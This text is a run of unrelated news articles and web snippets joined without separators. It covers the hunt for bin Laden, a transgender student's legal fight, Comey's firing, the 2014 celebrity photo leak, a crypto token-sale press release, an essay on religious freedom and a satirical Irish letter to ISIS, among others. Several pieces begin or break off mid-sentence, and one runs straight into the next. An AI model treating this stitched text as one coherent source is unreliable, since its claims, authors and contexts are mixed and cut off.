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stick on a pig.'”
Watch Noah’s commentary, as posted by Crooks and Liars on Wednesday, below.WASHINGTON (CNN) -- President-elect Barack Obama wants to renew the U.S. commitment to finding al Qaeda leader Osama bin Laden, according to his national security advisers.
Osama bin Laden remains on the run despite a $25 million reward for his capture.
The Obama team believes the Bush administration has downplayed the importance of catching the FBI's most-wanted terrorist because it has not been able to find him.
"We will kill bin Laden. We will crush al Qaeda. That has to be our biggest national security priority," Obama said during the presidential debate on October 7.
But tracking down bin Laden won't be easy.
In May, al Qaeda released an audiotape featuring bin Laden. But U.S. intelligence officials say they haven't had a solid lead on the terrorist mastermind's whereabouts since late 2001, when he was nearly captured in a battle with U.S. forces near Tora Bora, Afghanistan.
Robert Baer, a former CIA field officer, told CNN he's talked to "a dozen CIA guys who've been on the hunt for him, and half of them told me they assumed he was dead, the other half said they assumed he was alive, but the key word here is assume. They don't know." Watch the hunt for bin Laden »
Intelligence officials believe bin Laden is hiding in the tribal areas of northwest Pakistan, a remote and primitive region with mountain peaks as tall as 14,000 feet (4,270 meters) that make the terrain difficult to navigate.
"If you think of this as sort of a combination of [the hunt for] Eric Rudolph, who was the Olympic bomber, and the movie 'Deliverance,' multiplied by a factor of 10, that's really what you're focusing on in trying to find bin Laden," said Robert Grenier, the former CIA station chief in Pakistan.
The region is divided into tribes, some of them warring. Developing sources in the area has been extremely difficult. See a timeline of bin Laden's terror messages »
"What you literally need to have is an army of individual informants, hopefully focused on the areas that you think bin Laden is most likely to be hiding in," said Grenier, now a security consultant with Kroll.
"But again, you need to have a whole lot of them, because one individual who may have access to the families and the clans in a particular valley, if he goes to the valley next door and starts asking questions, he's probably gonna end up dead pretty quickly."
The U.S. government is offering a $25 million reward for information leading to bin Laden's capture, but officials who have worked in the region say the people living there would consider it dishonorable to take the money.
The United States has had some success killing al Qaeda leaders in Pakistan using unmanned drones equipped with Hellfire missiles, but those attacks have killed innocent civilians as well, complicating the political situation between the two countries.
Obama plans to send more troops into Afghanistan to push back the growing Taliban insurgency, but experts warn there could be severe consequences.
"The president is going to inherit the problem the Soviets had roughly 15 years ago during the Soviet jihad. You cannot tame the people in the North-West Frontier Province and on the border in Pakistan and Afghanistan," said Dalton Fury, the commander of special operations at Tora Bora.
"The only army that has been successful has been Genghis Khan and his Mongol horde. They cut off heads and killed everyone in the villages, and since we have self-imposed rules of warfare, we are not going to do what they did."
Cooperation from Pakistan's military has been touchy, and most experts agree finding bin Laden is not a priority for Pakistan's troops.
Fury says the best route for the president-elect to take would be to change the dialogue about bin Laden. Intelligence officials do not believe he is playing an operational role and so has no reason to move around or communicate.
"I think it's important to understand that bin Laden had his chance at martyrdom. He was in the mountains of Tora Bora, he ran away. In my opinion, I think we ought to promote this," Fury said.
He believes taunting the al Qaeda leader may force him to prove he's relevant and, in the process, lead the United States right to him.
Despite the challenges, many experts agree it is important to capture bin Laden.
"I don't think the American people will accept him surviving and us leaving. We will be the laughingstock of the world," Fury said.
All About Osama bin Laden • Al QaedaWayne Maines has been fighting for his daughter’s right to be treated just like every other girl for a very long time. Wayne and his wife, Kelly, adopted a pair of twins in 1997, but from a young age, Nicole was wasn’t like the boys her age, they realized. When she was just 4 years old, she told her father that she wished her “penis would go away." This was in 2001, before celebrities like Laverne Cox, Janet Mock, and Caitlyn Jenner had become household names. The word “transgender” wasn’t even on his radar.
When Nicole was 8, Wayne and Kelly took her to a gender clinic in Boston, five and a half hours away from their hometown in Maine. It was the first major program of its kind in the nation. Through regular meetings with a pediatric endocrinologist at the center, Nicole was able to medically transition. She’d come out in school much earlier, and Wayne said that her classmates and teachers were accepting and accommodating at first. But after students began using gender-segregated bathrooms in the fifth grade, he said that the grandfather of one of her classmates complained and recruited the student to harass her.
“Our lives were never the same after that,” Wayne said.
The school district, fearing a lawsuit, according to Wayne, forced Nicole to use a staff bathroom. While this was partially for her safety, Wayne said the decision marked her as an “other” and “neither a girl nor a boy.” Because the 10-year-old girl was headstrong, the district hired a bodyguard to accompany her to her classes, making sure that she didn’t use the girl’s restroom.
Wayne claimed that the “whole climate changed” following that incident. Kids who had never bullied Nicole before began to harass her in school. Wayne, who used to be an assistant peewee baseball coach, couldn’t go to sporting games anymore. Nicole and her brother, Jonas, who had both been active in extracurriculars and enrolled in Cub Scouts, stopped getting invited to many of their classmates’ parties. Wayne even stated that some parents would cross the street and walk on the other side of the road if they saw his family coming.
“It was a slap in the face,” Nicole remembered. “The school opened the door for people to be jerks. It underlined [the false idea] that trans students need to be kept away from other kids. We’re so ‘wrong’ and so ‘dangerous’ that we cannot be permitted to be around other students.”
The family moved to Portland and, according to Wayne, “lived in hiding” for two years. Before then, Nicole and her parents successfully filed complaints with Maine’s Human Rights Commission alleging discrimination in their old school district, which would be the start of a five-and-a-half-year battle to recognize her basic dignity. They also filed a lawsuit on behalf of their daughter. The state’s Superior Court ruled against Nicole in 2012, but that verdict was reversed by the Supreme Judicial Court less than two years later.
This was a historic first for the United States. The Maine ruling marked the first time a federal court upheld the rights of transgender students to use bathrooms that correspond with their gender identity.
After signing an amicus brief in support of Gavin Grimm in the Supreme Court case, the Maines family hoped the country would continue that progress. In March, the nation’s highest court was scheduled to hear oral arguments in G.G. v. Gloucester County School Board, a case that could have decided whether protections under Title IX of the Education Amendments of 1972 grant Gavin, a 17-year-old trans student, the right to affirming facility access in his Virginia school.President Trump’s decision to fire FBI Director James Comey may be the political news story of the year.
Here are five lines of the story to watch as it unfolds.
What will Comey say?
Sen. Mark Warner Mark Robert WarnerHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Addressing repair backlog at national parks can give Congress a big win MORE (D-Va.) told MSNBC on Friday that Comey would not testify before the Senate Intelligence Committee next week, despite an invitation to brief the panel in a closed setting.
Comey has weighed in this week’s dramatic events only by a letter to FBI employees so far, telling his colleagues that he’s long-believed “a president can fire an FBI director for any reason.”
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Associates of the FBI director, however, have leaked information to the media, including that at a private dinner, Trump asked Comey whether he had his loyalty. The White House on Friday denied that story.
As long as the fight between Trump and Comey is on the front burner, more leaks are possible.
While Comey was a controversial figure, the nature of his firing appears to have angered people in the FBI.
The president had a manila envelope delivered to Comey’s office in Washington — when the director was in California, speaking to bureau employees. He reportedly found out when televisions in the room began broadcasting the news of his dismissal.
Bureau employees were reportedly shell-shocked by the unexpected dismissal and angered by the way in which Trump delivered Comey’s pink slip.
If the president continues to criticize the former director — or presents a version of events that FBI employees feel misrepresents the bureau — onlookers suspect that those leaks will continue.
“You have members of the law enforcement community that have an ability not only to communicate directly to the public, but also to communicate to members of Congress — and the oversight committees,” said Kevin Madden, a GOP strategist and former public affairs official in George W. Bush’s Justice Department.
What will Rod Rosenstein say and do?
Deputy Attorney General Rod Rosenstein wrote the memo the White House initially used as Trump’s rationale for firing Comey.
He’ll be in the spotlight next week, when he is set to brief all 100 senators on the situation.
Rosenstein has faced mounting pressure to appoint a special prosecutor to handle the Russia investigation, a push that Democrats have made for months but has been renewed by the outrage over Comey’s firing.
On Thursday, twenty state attorneys general penned a letter to Rosenstein urging him to immediately appoint an independent special counsel.
Rosenstein was confirmed in a bipartisan 94-6 vote, but his decision to write the memo appeared to offend many Democratic supporters.
His own credibility is now at risk, and there are signs that the deputy attorney general is not entirely happy with how the White House has described his role in the affair.
Will GOP continue to back Trump?
Comey’s firing divided Republicans in the Senate.
Most senators offered some degree of support for Trump, but a number expressed reservations or even said they were troubled by the firing.
In the House, Oversight Committee Chairman Jason Chaffetz Jason ChaffetzTop Utah paper knocks Chaffetz as he mulls run for governor: ‘His political career should be over’ Boehner working on memoir: report Former GOP lawmaker on death of 7-year-old migrant girl: Message should be ‘don't make this journey, it will kill you' MORE (R-Utah) called on the Justice Department inspector general to investigate the circumstances surrounding Comey’s ouster, while Rep. Justin Amash Justin AmashHouse to push back at Trump on border Ex-GOP lawmakers urge Republicans to block Trump's emergency declaration This week: Congress, Trump set for showdown on emergency declaration MORE (Mich.) became the second Republican to cosponsor a bill setting up an independent commission to investigate Russian election interference.
Trump will survive this controversy as long as his party backs him, and all signs suggest they will.
But the fractures are worrisome for the embattled White House.
What will happen with the FBI investigation?
Comey’s firing raises major doubts about the future of the FBI’s investigation into Russian election interference, including potential links between Trump associates and Moscow.
Trump himself has said the Russian investigation, which he has repeatedly denigrated as unnecessary, was a reason for the firing. Democrats see it as part of an effort to close the probe.
Republican lawmakers and the FBI itself insist the probe will go forward.
“Ma’am, we don’t curtail our investigations,” Acting FBI Director Andrew McCabe said this week in response to questioning from Sen. Susan Collins Susan Margaret CollinsHouse to push back at Trump on border Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (R-Maine).
But with Comey’s exit, and Trump’s subsequent threats about tapes of conversations he had with the former FBI director, there are real questions about whether the probe will be serious.
Will Trump be able to restrain himself on Twitter?
Trump has arguably made the political crisis surrounding Comey worse with his Twitter habit.
His tweets Friday that Comey had better watch out in case there were tapes of his conversations with the president underlined comparisons already being made to the Watergate crisis. President Richard Nixon famously taped his Oval Office conversations, which ended up backfiring on him.
Trump further undermined the credibility of his embattled press shop by raising the specter of cancelling the daily White House press briefing because his spokespeople aren’t accurately representing him.
When Trump feels threatened, he punches back hard to preserve himself. But the tweets have instead deepened his troubles.Police are trying to make sense of the shooting death Sunday of a well-known white-supremacist leader, allegedly at the hands of his young son.
Authorities believe the boy, whose age was not released, did not shoot his father by accident.
"We believe it was an intentional act,'' said Riverside police Lt. Ed Blevins.
Officials have not speculated about a possible motive.
Jeff Russell Hall, 32, was Southwestern regional director of the National Socialist Movement, a neo-Nazi group based in Detroit. Police were called to his home at 4:04 a.m. Sunday and found a badly injured Hall lying on a couch.
Paramedics attempted to revive Hall, but he died at the scene, Blevins said. After interviewing Hall's wife and five children, police booked a minor son on a homicide charge, he said.The FBI said it was looking into the matter of nude photos of Hollywood celebrities being leaked online by hackers.
In a statement, the agency said it was "aware of the allegations concerning computer intrusions and the unlawful release of material involving high profile individuals, and is addressing the matter."
A publicist for Jennifer Lawrence earlier said the actress contacted authorities after nude photos of her were apparently stolen and posted online.
Intimate images of the Oscar-winning actress began appearing online on Sunday, showing the 24-year-old star in various states of undress.
"This is a flagrant violation of privacy," Lawrence's spokesperson Liz Mahoney said in a statement. "The authorities have been contacted and will prosecute anyone who posts the stolen photos of Jennifer Lawrence." Mahoney declined to provide any further details.
Dozens of private, nude photographs were said to be accessed from phones and leaked online. The pictures were allegedly taken from a cloud-based Internet data storage system.
Cloud technology is used by more than 300 million people worldwide, but the problem may lie in weak password systems that can be easily compromised.
"In some cases those security controls are not in place and allows them, to throw as many as 500 passwords at an account until it accepts one," Jeff Schilling of cloud service provider Firehost told CBS News correspondent Carter Evans.
Nude images purported to be of other female celebrities were also being circulated online, including Mary Elizabeth Winstead. The 29-year-old actress tweeted about the hack Sunday and said she took the photos with her husband years ago in the privacy of her home and shamed the hackers saying, "Hope you feel great about yourselves."
The hackers claim to have more, but the authenticity of many of them have not been confirmed, Evans reported.
Sports Illustrated model Kate Upton was also hacked and confirmed through a rep that the photos of her were legitimate.
"This is obviously an outrageous violation of our client Kate Upton's privacy," Upton's attorney told "Entertainment Tonight." "We intend to pursue anyone disseminating or duplicating these illegally obtained images to the fullest extent possible."
Meanwhile, CBS Los Angeles reported singer Ariana Grande's rep said nude photos of Grande are fakes.
Nickelodeon actress and singer Victoria Justice, 21, took to Twitter and wrote, "These so called nudes of me are FAKE people."
Actress Kirsten Dunst wrote her response to the hacks on Twitter:
Thank you iCloud🍕💩 — Kirsten Dunst (@kirstendunst) September 1, 2014
Dan Ackerman, a senior editor at CBS News partner CNET, told "CBS This Morning," that everyone's cloud-stored digital information is vulnerable, though celebrities are more vulnerable because hackers are actively looking for their data.
Is your cloud-based storage at risk of being hacked?
"If you think about it, you have multiple copies (of your data). There's a chance anything you put up in the cloud, it's available in some way," Ackerman said. "If (hackers are) not looking for it, less so really."
He added that in the case of this leak, it was more than likely committed by more than one hacker, and was a group looking to "make a big splash."
The FBI has investigated previous leaks of nude celebrity images, including leaks involving Scarlett Johansson, Christina Aguilera and footage shot of television sports reporter Erin Andrews in a Tennessee hotel room.
Lawrence will make headlines this fall for another reason. She's hitting the big screen in "The Hunger Games: Mockingjay - Part 1" on Nov. 21.
Lawrence, 24, split from her "X-Men" co-star Nicholas Hoult earlier this summer in a breakup that was reportedly "very amicable." There are reports that Lawrence and Chris Martin of Coldplay started spending time together in June.The Cleveland Browns have created a little bit of national buzz with the way they’ve approached the quarterbacks in this year’s draft.
Instead of having the top brass attend the pro days of Teddy Bridgewater and Blake Bortles to watch them throw, the team had its scouts do the work. Reportedly general manager Ray Farmer attended but did not not watch either throw. Coach Mike Pettine, offensive coordinator Kyle Shanahan and quarterback coach Dowell Loggains have not attended any of the quarterback pro days. (It will be interesting to see what happens with Johnny Manziel on March 27.)
Ah, there's more. At the combine, the Browns reportedly did not spend any of their 15-minute interviews with the quarterbacks.
Gasp.
This has created some buzz. To the point that the esteemed Tony Grossi of WKNR ESPN-Cleveland has the Browns taking an offensive tackle fourth overall. (Ugh... Sam-my Wat-kins, clap-clap, clap-clap-clap.)
How, the outraged say, can the Browns skip the workouts? Isn't that part of their job?
It’s led to questions ranging from whether they are disinterested in the quarterbacks or being deceptive in their intentions or are they flat-out incompetent (their past chases them in the case of the last question)?
Maybe they’re doing their job in a slightly different way.
Because really, what’s the big whoop?
Consider:
• Scouts scout. That’s what they are paid to do. They watch players, break down their technique and provide evaluations. Scouts should be able to see a player's athleticisim in a workout. And the scouts have already spent months watching these players in the fall.
• The scouts, front office and coaches have reams of game tape and information to watch. If a guy is a player, he should show it better on the field rather than in the packaged environment of a pro day. Show me a team that changes its mind on a guy who struggles in games based on a pro day and I'll show you JaMarcus Russell. Game tape is light-years more important than a pro day; football is played on a field in mud and wind and rain, not in an antiseptic setting like a pro day workout.
• The Browns will only say they are evaluating every player, but the rules allow them to bring in the three quarterbacks for interviews and workouts in Berea. They no doubt will, and they can talk to them there for a day and have them throw. A 15-minute interview might be nice, but a day-long one is better. A pro day is interesting, but throwing in a less-controlled environment might even allow the team to better assess a guy’s fundamentals and skills.
In some ways, the Browns' approach is refreshing. They are letting people do their jobs, and Farmer isn't obsessing.
Can questions be asked? Of course. But questions always come up this time of year about a team, its approach and its decisions. The bottom line comes when players are picked.
The Browns have done plenty since 1999 to warrant criticism.
But it seems like jumping on the pile to criticize them over this issue.FortKnoxster Announces New Advisors Joining The Team
FortKnoxster Blocked Unblock Follow Following Nov 8, 2017
PRESS RELEASE GIBRALTAR, NOV. 8, 2017.
FortKnoxster Announces New Advisors Joining The Team
Today, we are very excited to announce that David Orban and Henok Tekle have joined the FortKnoxster advisory board, making the FortKnoxster team even stronger.
David Orban
David is the Founder and Managing Partner of Network Society Ventures, a seed stage global investment firm focused on innovative startups at the intersection of exponential technologies and decentralized networks. David is an entrepreneur, author, blogger, keynote speaker, and thought leader of the global technology landscape. His entrepreneurial accomplishments span several companies founded and grown over more than twenty years. As a sought-after speaker, he has given over 100 keynote addresses and speeches around the world.
Besides other areas, David will assist specifically in areas like token economics and pricing strategy.
Henok Tekle
Henok (Hen) Tekle is a prominent cryptocurrency angel investor, content creator, thought leader, and advisor to token projects. A frequent attendee and speaker at various Blockchain gatherings, Hen has appeared at events such as the inaugural Token Summit (New York City), Blockstack (Silicon Valley), CoinAlts Fund Symposium (San Francisco), Block-Con (Los Angeles), Crypto Valley Trip (Zug, Switzerland), and Mindspace (Berlin). Hen has also founded and managed several cryptocurrency communities comprised of an active global network of insiders, influencers and investors.
Hen will bring his vast network of contacts, public speaking engagements and experience along with marketing expertise to the FortKnoxster table.
Active Advisors
FortKnoxster CEO Rasmus Birger Christiansen comments: “We are delighted to have these two gentlemen on our team. We have carefully selected advisors who are helping us bridge the gap between the crypto world and our technology startup. All the advisors on our team are playing an active role and working closely with us to refine our technology, token economics, and market development moving ahead. Stay tuned, as we will be announcing more exciting news in the near future.”
Got Questions?
Our team members are always available to answer your questions. Join our public channels on Telegram and follow us on Bitcointalk, Twitter, Facebook, Reddit, YouTube, Medium and our website. You can also always contact us directly by email at contact@fortknoxster.com.
Token Sale
Our pre-sale starts 5. February 2018 @ 12.00 CET and public token sale starts 19. February 2018 @ 12.00 CET.
Can’t wait? Register here (no strings attached) for pre-sale terms and early-bird discounts: https://fortknoxster.typeform.com/to/lRTwjP
https://fortknoxster.com/token-sale/
About FortKnoxster
FortKnoxster is a startup focused on the development of secure and private communications utilizing end-to-end encryption and Blockchain technology. Incorporated in Gibraltar, its development team has been working with Crypto, IT Security and Blockchain for many years and are extremely skilled engineers and privacy advocates.
Media contact:
Rasmus Birger Christiansen, CEO
rbc@fortknoxster.com
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$30 BUY IT NOW Sale Price: $20.00 Available Internationally? no Additional Charges for ShippingSatire is a dish best served al dente. The Austrian authorities issued a driver’s license to a “Pastafarian” with a picture of him wearing the approved headgear of the satirical religion: a plastic IKEA colander. The story was fed into the news-of-the-weird cycle and churned out faster than noodles from a pasta roller. The aim of Nico Alm’s impish stunt, as he explained on his blog at its outset, was not to win legal privileges for the Church of the Flying Spaghetti Monster, but rather to challenge the religious exemption to the regulations barring head coverings from official ID photographs.
Alm expected his request to be denied, thus dramatizing his claim that the exemption discriminates against non-religious citizens. The police, who are responsible for issuing the IDs, have insisted that his headgear was accommodated not because of its declared religious significance but because it left his face clearly visible. This only clouded the issue. The Department of Transportation website states that head coverings are permitted only for “religious reasons” (religiösen Gründen), and that in such cases, the face must be visible from the lower chin to the forehead.
The affair raises questions that go beyond the jokey “church”—questions with which every society must grapple: What is religious freedom? Does it entitle some people to special protection under the law, and if so, which people? We can persist in drawing increasingly arbitrary lines between Rastafarian and Pastafarian, between the Church of Jesus Christ, Scientist and the Church of Scientology, or we can join the few pioneering scholars of religion and the law who have found another way. The solution is that no one is entitled to religious freedom because there is no such thing as religious freedom.
Straining Credulity
On what grounds could we conclude that the man in the pasta strainer deserves less deference from the state than the woman in the hijab or the man in the kippa? Is it that their faiths are “real,” and his fake? There are two ways that the state could judge that a faith is real as opposed to fake. One is to determine that the objects of the faith are true. The other is to determine that the adherence is authentic.
Anyone who has ever applied for a driver’s license will have doubts about the competence of government to record a street address correctly, let alone pierce the veil of eternity. Locke said it better: “The one only narrow way which leads to Heaven is not better known to the Magistrate than to private Persons, and therefore I cannot safely take him for my Guide, who may probably be as ignorant of the way as my self.” Yet even if the state could ascertain the truth, and even if we could somehow overlook the enmity that would be sown between communities and nations by adopting it, we would still have to establish that the state has a positive interest in advancing that truth.
The problem is that any purported public good of religion to which one can point—as a source of moral education, identity, social cohesion, or a check on the forces of profit or centralized power—can be found in forms of thought and solidarity outside of the traditional confessions; even in Alm’s secular humanism. Therefore, the state would have an interest in advancing that good wherever it may be found, not in advancing religion as such.
Is the Pastafarian inauthentic? His religion is phony, but he is sincerely committed to it. Sartre would say he is authentic so long as he recognizes the commitments that make him who he is and takes responsibility for them. But once again, if the state were to make special provisions for every commitment that is authentic in this sense, it would be forced to look beyond “religious” headgear to baseball caps, do-rags, and much more.
According to a more communitarian strain of authenticity, a practice is authentic only if it is connected in the right way with a tradition; for instance, one of the monotheisms. The danger here is that government officials will be given the power and authority to determine how the tradition is to be understood and honored. As Winnifred Fallers Sullivan proposes in her 2007 book The Impossibility of Religious Freedom, such determinations will tend to favor official or “high” religion—practices linked to recognizable doctrine supported by canonical texts and clerical hierarchies—over “lived religion,” the non-doctrinal, often orally-transmitted practices of local communities and individuals. Lived religion can be disqualified from protection because it is thought to flow from personal preference, not “real” faith. Such favoring of tradition over local autonomy may be convenient for the administrative purposes of the bureaucratic state, but it serves no other good.
Worse, it is an arbitrary and invidious failure of equal treatment before the law. A glance around the globe reminds us what is at stake. Whether it is the Copts of Egypt, the Ahmadiyya of Pakistan, or the unregistered Protestants of China, self-identifying religious minorities can, to varying degrees, suffer the consequences of being deemed inauthentic by decree. During the French debate on the veil, President Sarkozy declared, “The burqa is not a religious sign,” suggesting that women had no religious right to don it. If the ideal of religious freedom means anything, surely it should prevent the magistrate from pronouncing on what constitutes the legitimate practice of a faith and what does not.
An Equality-Based Solution?
A legal regime of religious freedom perpetrates this same inequality on all non-religious citizens, for it denies to them some privileges that are granted to other citizens simply by virtue of their membership in a religious community. Is there any moral justification for granting religion special protection—such as exception from generally applicable laws—while denying it to comparable secular commitments? In a recent exchange with William Galston in Dissent magazine, Colin Koproske and I survey various arguments for the specialness of religion. We are still looking for one that works.
Beginning with a series of articles in the mid-1990s and culminating in Religious Freedom and the Constitution, Christopher Eisgruber and Lawrence Sager have defended an alternative understanding of religion in the law, which they call “Equal Liberty.” According to Equal Liberty, “all persons—whether engaged in religiously-inspired enterprises or not—enjoy rights of free speech, personal autonomy, associative freedom, and private property that, while neither uniquely relevant to religion nor defined in terms of religion, will allow religious practice to flourish.” The religious are free, but not because they enjoy religious freedom. They are free insofar as all are free. In a liberal society, we all inhabit an equal space of personal and associative liberty in which to worship, blaspheme, or just fix our suppers.
As Sullivan notes, forsaking religious freedom for an equality-based approach would not only “end discrimination against those who do not self-identify as religious or whose religion is disfavored. It might also force religious groups to fend for themselves politically, economically, and philosophically in a new world of radical normative pluralism.”Story highlights Barney Frank says the tea party was better at mobilizing
Frank says he thinks bipartisanship can return to Congress if Hillary Clinton is elected
The Axe Files, featuring David Axelrod, is a podcast distributed by CNN and produced at the University of Chicago Institute of Politics. The author works for David Axelrod.
Kiev (CNN) He was one of the most effective legislators in Washington, an icon of Democratic politics. Now Barney Frank says the left has been outmaneuvered by the tea party and the populist right.
"To my great regret, the tea party movement has had much more impact on American politics than Occupy Wall Street," Frank, former congressman from Massachusetts, said to David Axelrod on "The Axe Files" podcast, produced by the University of Chicago Institute of Politics and CNN.
"Because the tea party people correctly understood that, for them, what they needed to do was to get control of the political machinery, to register people to vote, to vote in primaries, and influence public policy," Frank continued. "Occupy Wall Street decided that they would bring about great change by smoking pot and having drum circles, and it turns out voting in primaries is a better way to do it."
The key to bringing about political change, Frank believes, is not allowing one's ideals to overwhelm the sense of moral duty inherent in public service.
"I do believe that, clearly, idealism comes first. You don't belong trying to run other people's lives unless you're committed to ideals," Frank said. "But the more idealistic you are, the more morally you are obligated to be pragmatic."
Read MoreFINAL UPDATE: We’ve been working around the clock to address our community’s concerns and relaunch the 500px.me beta in a way that will have you as excited as we are. Today, we’re sharing our plan with the world! Please click that link for a very important update about 500px.me.
UPDATE: We’ve heard your concerns and addressed them with our Chinese partner. The 500px.me beta has been taken offline and is no longer publicly accessible by anyone, anywhere. 500px.me will not go live until we are confident that we have the right usability and controls in place for you to manage your work and personally decide if you want to participate in 500px.me. We expect this to take several weeks and we will update you before 500px.me goes live.
We wholeheartedly agree that our communication around the launch of the Chinese beta site should have been much better, and that effective controls need to be in place before the site goes live. We are truly sorry and are doing everything we can to make this right.
In July of this year, we were excited to raise our Series B round of investment lead by Visual China Group—the premier content provider in China. But this partnership isn’t just about funding, as we mentioned in our Series B press release. We also set up a joint venture with VCG in order to help expand 500px into China in a way that no other photo community has been able to make happen.
Today, we are excited to share with you more around what this means for the 500px community.
From the beginning, 500px has been committed to being the foremost place for you to share your photos online and gain exposure for your best work. One of the biggest opportunities for this comes directly from our joint venture with VCG: 500px.me.
500px.me is a Chinese localized version of 500px.com, not a separate entity. Through it, current 500px.com users will gain access to a massive new audience, while people living in China will be able to join the 500px community, share their photos, and interact with yours.
This means more people to view, like, favorite, comment, and spread your beautiful photos online—a potential reach of 1.3 billion more people! Where it has traditionally been very difficult for any Internet company to bridge the gap between online communities inside and outside of China, 500px.me will allow us to do just this.
The site experience will for the most part mirror the experience |
was shared 10,000 times in less than 24 hours.
(Image: Younes Mohammad/Barcroft India)
The letter, in full, reads:
So after the past few weeks of shite that's been floating around on Facebook iv tried to stay out of it.
But I can't, not anymore. Finchie needs to speak.
MY OPEN LETTER TO ISIS
What's the craic lads! I don't think we have officially met. Finchie here from Ireland, we are that non aggravating, laid back post English island to the west of the bulls***.
So how's yourself? Been busy I hope. I see from the shallow media outlets and "copy paste" fear posting on social media that ye have been up to your neck in it the past few months. Good for you!
Sorry to be bothering ye boys while ye are busy planning the world's biggest burning man festival in the name of Alan, (or what ever he's called) but something has come to our attention to past few days that we need to have a quick "chat" about it.
Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now
What's this I hear about ye adding us to a list of countries called "The Global Coalition" in some mad 80's themed propaganda video? Ah lads come on will ya, shtep down from 3 legged horse now for a second and rewind the cassette cuz I think ye got it wrong.
First of all, lads were only here for the craic! We have been through too much sh**e hawking over the past couple of thousand years to be goin all "rouge and sh**" and joining in fights we clearly don't want to be part of
" It's like when a fisht fight breaks out in primary school between Vince and Iano Kelly. Most of us just watch, shout a bit and kick a bin to make noise or whatever, but we don't bother getting involved (well Vince is English so any sly opportunity for a shneaky kick to the shins and were all over it) we couldn't be a***d with the hole thing, we're simply too laid back.
(Image: Getty)
Now keeping that in mind let me let you in on a few tips if you do decide to come over here and pi** in our cornflakes.
Don't judge us on the actions of the lads across the pond. We don't like that craic. I get that ye have yer fight an all, but dont drag us into it, we don't give a left b****ck for Alan and what he tells ye to do.
Sharon's law, (or whatever it is) won't work here. I know a Sharon, and she's a c***. We don't like her either.
Don't bomb our sh**. We just finished building it back after breaking free from the very enemy you also have on your hit list. (if you want tho you can destroy leitrim, absolute sh**ehole lads I'm not joking)
We have more than one army. 1 official army (actually went training in north cork recently to prepare for your arrival. And yes north cork is exactly like Damascus, especially fermoy on a Friday night).
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We also have a few non official, highly secretive, multi talented armies all with the same name (you get used to it after a while) who hate each other but have one very important thing in common...all mad b****rds. Let that sink in
By the way the unofficial armies are all trained in guerrilla warfare. Meaning your f***ed. Like actually f***ed. Unless you want to buy weapons, then some of them will turn a blind eye to " the cause" and sell ya a few AKs while you visit.
Don't even think about blowing up Leo Burdocks!!! Consider this your harshest warning!
If any single pub is damaged during your short stay here, we will consider this an act of war!!! And we praise to our God Arthur, we will strike down on you with great vengeance and furious anger on those who attempt to destroy our drinking patterns during a time of crises!.
On a final note, remember these and you should be fine:
1. Offies close at ten
2. Don't leave the immersion on
3. PM me for Bono's address
4. Don't bomb sh** when the toy show is on
5. Start with leitrim
6. If your looking for virgins you won't find any on Harcourt street
7. Get a Tesco clubcard. Trust me.
8. If you want to blow up a stadium, go to dalymount please.
9. Go to a water protest, they don't judge you for where your from, just if you pay or not.
10. Finally, if asked for change, eyes down and keep F***ing walking!
So ISIS its good to meet you. Do yourself a favour and us, stay where you are. You don't want to come here, were not bothered with the issues you have.
But if you do, we will beat the sh** out of all of you using mammies wooden spoon, kilkenny hurlers and the bouncers from the copper faced Jack's.
Yours unintentionally
Finchie and the rest of Ireland
EDIT: offaly, offaly too!COMMERCE CITY, Colo. – Whether it’s a single-season franchise record for shutouts or an MLS All-Star selection, Colorado Rapids goalkeeper Clint Irwin continues to pad his soccer resume.
But the first-choice keeper for the Rapids isn’t the only position he’s poised to lock down. Off the pitch, Irwin is an up-and-coming, yet opinionated, media personality whose work has been featured in Sports Illustrated and The Telegraph in England, among other publications.
“A lot of athletes have moved into media after their career, so I want to see what it’s like and keep options open,” he told MLSsoccer.com. “You definitely need something to fall back on. It’s not like the NBA where you can play four or five years and set yourself up for the rest of your life. Pretty much everyone here is going to have to find another job or career after this.”
As a writer, Irwin doesn’t shy away from much. He’s covered a broad range of topics, including the financial plight of the non-millionaire professional athlete, how games should be refereed and even some political commentary on the US general election.
“The topics that I delve into are things that I’m passionate about or things that I don’t think have been shared yet,” Irwin explained. “Sometimes I’ll just write things up and pitch it. I don’t think people hear some of the perspectives of athletes. They don’t have a lot of say in how they are portrayed or the questions they are asked. I think it’s increasing more, but generally people don’t think athletes have thoughts outside the game.”
To go along with his athlete’s perspective, Irwin also developed a strong mind for writing and analysis as a political science major during his time at Elon University.
“I wrote a lot in college with my studies,” he said. “Political science was always a little bit dry, but it was definitely helpful, helping me organize ideas and make them coherent. When you have time to put something coherent together it means a lot more than just a conversation or Twitter.”
With an eye on the changing media landscape, he’s also been working on his on-camera persona.
“Hosting is something that I enjoy, and it’s another medium,” Irwin said. “Video is becoming such a big part of the landscape.”
Conversely, head coach Pablo Mastroeni admittedly doesn’t pay much attention to outside media. But the Rapids manager isn’t discouraging Irwin from exploring those outlets of expression.
“I was a little shocked to find out,” Mastroeni said. “But it’s where our game is going, it’s where society is going, it’s where our culture is going, and it’s great.”
Get more Rapids news at ColoradoRapids.com
Yet even though he looks well prepared to “turn pro” in the media industry, Irwin is approaching his other interest as more hobby than side job, for now.
“I think it’s a good way for me to get away from the competitive aspect and decompress,” he said. “I don’t think there is much in common between the two. You are using a different part of the brain than when you’re on the field.”
At just 26-years-old, Irwin has plenty of soccer ahead of him. Nevertheless, he’s keeping an open mind for when his professional soccer career has concluded.
“I think it’s an exciting time to be a part of MLS,” he said. “With new teams in the MLS and USL coming in, it means more opportunities in terms of covering the game. I don’t know what the media landscape is going to look like, but if that is something I want to explore, I’ll be able to show those skills off.”Sir, – I have lived with asthma for 35 years; and each time I go to the cinema, I have an asthma attack. I write this letter at 2.30am, unable to sleep or breath after returning home from the local cinema (11.30pm). My asthma is triggered by cats and research indicates that cinema seats could trigger wheezing in asthma sufferers because they are packed with allergens spread from cat fur brought in by cat owners on their clothes.
Cinema managers/owners must be aware of the issue and yet there are no safety warnings in cinemas that I am aware of. As an adult, I know the procedure to follow during an asthma attack. However children in a cinema may not have the capacity to act as quickly, or their parents may not think to pack an inhaler when bringing them to a movie.
